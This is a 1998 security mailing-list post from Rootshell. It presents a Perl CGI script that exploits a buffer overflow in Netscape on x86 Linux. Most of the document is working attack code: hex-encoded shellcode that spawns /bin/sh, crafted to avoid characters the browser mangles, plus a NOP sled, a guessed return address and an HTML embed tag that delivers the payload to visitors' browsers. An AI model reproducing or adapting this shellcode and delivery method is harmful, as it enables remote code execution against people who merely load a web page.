[ http://www.rootshell.com/ ]

From nothing@shout.net Wed Oct 21 18:00:09 1998
Date: Wed, 21 Oct 1998 19:23:45 -0500
From: Mr. Nothing <nothing@shout.net>
To: submission@rootshell.com
Subject: Netscape Buffer Overflow

Here is a buffer overflow exploit for Netscape on x86 Linux.  It can
be activated remotely by the following CGI script.

See http://www.shout.net/~nothing/buffer-overflow-1/index.html
for more information.

-----

#!/usr/bin/perl
#
# buffer-overflow-1.cgi -- Dan Brumleve, 1998.10.19

sub parse {
  join("", map { /^[0-9A-Fa-f]{2}$/ ? pack("c", hex($_)) : "" } @_);
}

# This is very tricky business.  Netscape maps unprintable characters
# (0x80 - 0x90 and probably others) to 0x3f ("?"), so the machine
# code must be free of these characters.  This makes it impossible
# to call int 0x80, so I put int 0x40 there and wrote code to
# shift those bytes left before it gets called.  Also null characters
# can't be used because of C string conventions.

# the first paragraph of the following turns the int 0x40 in the second
# paragraph into int 0x80.  the second paragraph nullifies the SIGALRM
# handler.

my $pre = parse qw{
  31 c0 		# xorl %eax,%eax
  66 b8 ff 0f		# movw $0x1056,%ax
  01 c4			# addl %eax,%esp 
  c0 24 24 01		# shlb $1,(%esp)
  29 c4			# subl %eax,%esp

  31 c0 b0 30
  31 db b3 0e
  31 c9 b1 01
  cd 40
};

my $code = $pre . parse qw{
  b0 55			# movb $0x55,%al (marker)
  eb 58			# (jump below)

  5e			# popl %esi

  56			# pushl %esi
  5b			# popl %ebx
  43 43 43 43 43 43
  43 43 43 43 43	# addl $0xb,%ebx

  21 33			# andl %esi,(%ebx)
  09 33			# orl %esi,(%ebx)

  31 c0 		# xorl %eax,%eax
  66 b8 56 10		# movw $0x1056,%ax
  01 c4			# addl %eax,%esp 
  c0 24 24 01		# shlb $1,(%esp)
  33 c0			# xorl %eax,%eax
  b0 05 		# movb $5,%al
  01 c4			# addl %eax,%esp 
  c0 24 24 01		# shlb $1,(%esp)
  29 c4			# subl %eax,%esp
  66 b8 56 10		# movw $0x1056,%ax
  29 c4			# subl %eax,%esp


  31 d2			# xorl %edx,%edx
  21 56 07		# andl %edx,0x7(%esi)
  21 56 0f		# andl %edx,0xf(%esi)
  b8 1b 56 34 12	# movl $0x1234561b,%eax
  35 10 56 34 12	# xorl $0x12345610,%eax 

  21 d9			# andl %ebx,%ecx
  09 d9			# orl %ebx,%ecx

  4b 4b 4b 4b 4b 4b
  4b 4b 4b 4b 4b	# subl $0xb,%ebx

  cd 40			# int $0x80
  31 c0			# xorl %eax,%eax
  40			# incl %eax
  cd 40			# int $0x80


  e8 a3 ff ff ff	# (call above)
};

$code .= "/bin/sh";

my $transmission = parse qw{
  6f 63 65 61 6e 20 64 65 73 65 72 74 20 69 72 6f 6e # inguz
  20 66 65 72 74 69 6c 69 7a 61 74 69 6f 6e 20 70 68 # inguz
  79 74 6f 70 6c 61 6e 6b 74 6f 6e 20 62 6c 6f 6f 6d # inguz
  20 67 61 74 65 73 20 73 6f 76 65 72 65 69 67 6e 74 # inguz
  79
};

my $nop = "\x90"; # this actually gets mapped onto 0x3f, but it doesn't seem
                  # to matter

my $address = "\x10\xdb\xff\xbf"; # wild guess, intended to be somewhere
                                  # in the chunk of nops.  works on every
                                  # linux box i've tried it on so far.
             

my $len = 0x1000 - length($pre);
my $exploit = ($nop x 1138) . ($address x 3) . ($nop x $len) . $code;
# the first $address is in the string replaces another
# pointer in the same function which gets dereferenced
# after the buffer is overflowed.  there must be a valid
# address there or it will segfault early.

print <<EOF;
Content-type: text/html

<!-- $transmission -->
<embed type="$exploit" src="data:x">
EOF

 


   

